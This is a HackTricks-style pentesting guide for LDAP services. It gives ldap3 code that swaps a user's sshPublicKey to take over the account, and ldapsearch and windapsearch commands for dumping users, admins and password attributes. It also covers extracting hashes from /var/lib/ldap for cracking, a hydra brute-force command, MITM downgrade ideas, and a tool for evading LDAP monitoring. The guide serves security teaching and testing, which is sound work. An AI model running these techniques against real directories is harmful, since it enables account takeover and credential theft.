389, 636, 3268, 3269 - Pentesting LDAP - HackTricks

# 389, 636, 3268, 3269 - Pentesting LDAP

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

LDAP directories are structured to allow their distribution across several servers, with each server housing a replicated and synchronized version of the directory, referred to as a Directory System Agent (DSA). Responsibility for handling requests lies entirely with the LDAP server, which may communicate with other DSAs as needed to deliver a unified response to the requester.

The LDAP directory's organization resembles a tree hierarchy, starting with the root directory at the top. This branches down to countries, which further divide into organizations, and then to organizational units representing various divisions or departments, finally reaching the individual entities level, including both people and shared resources like files and printers.

Default port: 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

    PORT    STATE SERVICE REASON
    389/tcp open  ldap    syn-ack
    636/tcp open  tcpwrapped

### LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename).

    dn: dc=local
    dc: local
    objectClass: dcObject

    dn: dc=moneycorp,dc=local
    dc: moneycorp
    objectClass: dcObject
    objectClass: organization

    dn ou=it,dc=moneycorp,dc=local
    objectClass: organizationalUnit
    ou: dev

    dn: ou=marketing,dc=moneycorp,dc=local
    objectClass: organizationalUnit
    Ou: sales

    dn: cn= ,ou= ,dc=moneycorp,dc=local
    objectClass: personalData
    cn:
    sn:
    gn:
    uid:
    ou:
    mail: pepe@hacktricks.xyz
    phone: 23627387495

- Lines 1-3 define the top level domain local
- Lines 5-8 define the first level domain moneycorp (moneycorp.local)
- Lines 10-16 define 2 organizational units: dev and sales
- Lines 18-26 create an object of the domain and assign attributes with values

## Write data

Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you can change the "sshPublicKey" information of your user or any user. It's highly probable that if this attribute exist, then ssh is reading the public keys from LDAP. If you can modify the public key of a user you will be able to login as that user even if password authentication is not enabled in ssh.

    # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
    >>> import ldap3
    >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
    >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
    >>> connection.bind()
    True
    >>> connection.extend.standard.who_am_i()
    u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
    >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

## Sniff clear text credentials

If LDAP is used without SSL you can sniff credentials in plain text in the network.

Also, you can perform a MITM attack in the network between the LDAP server and the client. Here you can make a Downgrade Attack so the client with use the credentials in clear text to login.

If SSL is used you can try to make MITM like the mentioned above but offering a false certificate, if the user accepts it, you are able to Downgrade the authentication method and see the credentials again.

## Anonymous Access

### Bypass TLS SNI check

According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:

    ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

### LDAP anonymous binds

LDAP anonymous binds allow unauthenticated attackers to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a legacy configuration, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests.
However, admins may have needed to set up a particular application to allow anonymous binds and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD.

## Valid Credentials

If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using:

ldapdomaindump

    pip3 install ldapdomaindump
    ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

### Brute Force

## Enumeration

### Automated

Using this you will be able to see the public information (like the domain name):

    nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

### Python

See LDAP enumeration with python

You can try to enumerate a LDAP with or without credentials using python: `pip3 install ldap3`

First try to connect without credentials:

    >>> import ldap3
    >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
    >>> connection = ldap3.Connection(server)
    >>> connection.bind()
    True
    >>> server.info

If the response is `True` like in the previous example, you can obtain some interesting data of the LDAP (like the naming context or domain name) server from:

    >>> server.info
    DSA info (from DSE):
    Supported LDAP versions: 3
    Naming contexts:
    dc=DOMAIN,dc=DOMAIN

Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:

    >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
    True
    >> connection.entries

Or dump the whole ldap:

    >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
    True
    >>> connection.entries

### windapsearch

Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.

    # Get computers
    python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
    # Get groups
    python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
    # Get users
    python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
    # Get Domain Admins
    python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
    # Get Privileged Users
    python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

### ldapsearch

Check null credentials or if your credentials are valid:

    ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

    # CREDENTIALS NOT VALID RESPONSE
    search: 2
    result: 1 Operations error
    text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
     tion a successful bind must be completed on the connection., data 0, v3839

If you find something saying that the "bind must be completed" means that the credentials are incorrect.

You can extract everything from a domain using:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
    -x Simple Authentication
    -H LDAP Server
    -D My User
    -w My password
    -b Base site, all data from here will be given

Extract users:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
    #Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extract computers:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract my info:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Admins:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Domain Users:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Enterprise Admins:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Administrators:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract Remote Desktop Group:

    ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

To see if you have access to any password you can use grep after executing one of the queries:

    <ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Please, notice that the passwords that you can find here could not be the real ones...

#### pbis

You can download pbis from here: https://github.com/BeyondTrust/pbis-open/ and it's usually installed in `/opt/pbis`.
Pbis allow you to get basic information easily:

    #Read keytab file
    ./klist -k /etc/krb5.keytab

    #Get known domains info
    ./get-status
    ./lsa get-status

    #Get basic metrics
    ./get-metrics
    ./lsa get-metrics

    #Get users
    ./enum-users
    ./lsa enum-users

    #Get groups
    ./enum-groups
    ./lsa enum-groups

    #Get all kind of objects
    ./enum-objects
    ./lsa enum-objects

    #Get groups of a user
    ./list-groups-for-user <username>
    ./lsa list-groups-for-user <username>
    #Get groups of each user
    ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

    #Get users of a group
    ./enum-members --by-name "domain admins"
    ./lsa enum-members --by-name "domain admins"
    #Get users of each group
    ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

    #Get description of each user
    ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
        echo "$line";
        ./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
        echo "======================"
    done

## Graphical Interface

### Apache Directory

Download Apache Directory from here. You can find an example of how to use this tool here.

### jxplorer

You can download a graphical interface with LDAP server here: http://www.jxplorer.org/downloads/users.html

By default is is installed in: /opt/jxplorer

### Godap

Godap is an interactive terminal user interface for LDAP that can be used to interact with objects and attributes in AD and other LDAP servers. It is available for Windows, Linux and MacOS and supports simple binds, pass-the-hash, pass-the-ticket & pass-the-cert, along with several other specialized features such as searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modifying Active-Directory Integrated DNS (ADIDNS), exporting to JSON files, etc.

You can access it in https://github.com/Macmod/godap. For usage examples and instructions read the Wiki.

### Ldapx

Ldapx is a flexible LDAP proxy that can be used to inspect & transform LDAP traffic from other tools. It can be used to obfuscate LDAP traffic to attempt to bypass identity protection & LDAP monitoring tools and implements most of the methods presented in the MaLDAPtive talk.

You can get it from https://github.com/Macmod/ldapx.

## Authentication via kerberos

Using `ldapsearch` you can authenticate against kerberos instead of via NTLM by using the parameter `-Y GSSAPI`

## POST

If you can access the files where the databases are contained (could be in /var/lib/ldap). You can extract the hashes using:

    cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural').

### Configuration Files

- General
  - containers.ldif
  - ldap.cfg
  - ldap.conf
  - ldap.xml
  - ldap-config.xml
  - ldap-realm.xml
  - slapd.conf
- IBM SecureWay V3 server
  - V3.sas.oc
- Microsoft Active Directory server
  - msadClassesAttrs.ldif
- Netscape Directory Server 4
  - nsslapd.sas_at.conf
  - nsslapd.sas_oc.conf
- OpenLDAP directory server
  - slapd.sas_at.conf
  - slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
  - 75sas.ldif

## HackTricks Automatic Commands

    Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
    Port_Number:  389,636     #Comma separated if there is more than one.
    Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

    Entry_1:
      Name: Notes
      Description: Notes for LDAP
      Note: |
        The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

        https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

    Entry_2:
      Name: Banner Grab
      Description: Grab LDAP Banner
      Command: nmap -p 389 --script ldap-search -Pn {IP}

    Entry_3:
      Name: LdapSearch
      Description: Base LdapSearch
      Command: ldapsearch -H ldap://{IP} -x

    Entry_4:
      Name: LdapSearch Naming Context Dump
      Description: Attempt to get LDAP Naming Context
      Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

    Entry_5:
      Name: LdapSearch Big Dump
      Description: Need Naming Context to do big dump
      Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

    Entry_6:
      Name: Hydra Brute Force
      Description: Need User
      Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

    Entry_7:
        Name: Netexec LDAP BloodHound
        Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.